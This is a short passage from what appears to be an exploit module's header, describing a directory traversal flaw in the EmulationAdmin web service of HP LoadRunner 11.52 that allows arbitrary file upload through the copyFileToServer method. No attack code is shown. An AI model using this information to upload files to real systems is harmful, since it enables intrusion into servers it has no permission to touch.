'Name' => 'HP LoadRunner EmulationAdmin Web Service Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability on the version 11.52 of HP
LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
in the copyFileToServer method, allowing to upload arbitrary files. This module has
been tested successfully on HP LoadRunner 11.52 over Windows 2003 SP2.
